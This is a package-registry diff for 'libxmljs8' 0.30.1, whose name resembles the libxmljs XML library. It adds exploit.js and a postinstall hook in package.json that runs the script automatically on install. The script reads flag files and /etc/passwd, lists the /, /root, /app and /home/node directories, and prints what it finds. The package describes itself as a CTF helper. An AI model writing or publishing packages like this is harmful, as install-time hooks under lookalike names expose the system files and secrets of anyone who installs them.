libxmljs8 0.30.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/exploit.js +42 -0
  2. package/package.json +12 -0
package/exploit.js ADDED
@@ -0,0 +1,42 @@
1
+ const fs = require('fs');
2
+
3
+ const paths = [
4
+ '/flag',
5
+ '/flag.txt',
6
+ '/etc/flag',
7
+ '/root/flag',
8
+ '/app/flag',
9
+ '/ctf/flag',
10
+ '/home/node/flag',
11
+ '/etc/passwd',
12
+ '/run/secrets/flag',
13
+ '/var/www/flag'
14
+ ];
15
+
16
+ function tryRead(p) {
17
+ try {
18
+ const s = fs.readFileSync(p, 'utf8').trim();
19
+ if (s && s.length > 0) {
20
+ console.log('---FOUND-FILE---', p);
21
+ console.log(s);
22
+ console.log('---END-FILE---', p);
23
+ }
24
+ } catch (e) {
25
+ // ignore
26
+ }
27
+ }
28
+
29
+ // Try each path
30
+ for (const p of paths) {
31
+ tryRead(p);
32
+ }
33
+
34
+ // Also try to print some directory listing for likely folders
35
+ const dirs = ['/','/app','/root','/home/node','/usr/src/app','/var/www'];
36
+ for (const d of dirs) {
37
+ try {
38
+ const list = fs.readdirSync(d);
39
+ console.log('---LS---', d, list.join(' '));
40
+ } catch(e){}
41
+ }
42
+
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "libxmljs8",
3
+ "version": "0.30.1",
4
+ "description": "helper for CTF (postinstall prints possible flags)",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node exploit.js"
8
+ },
9
+ "author": "ctf-player",
10
+ "license": "ISC"
11
+ }
12
+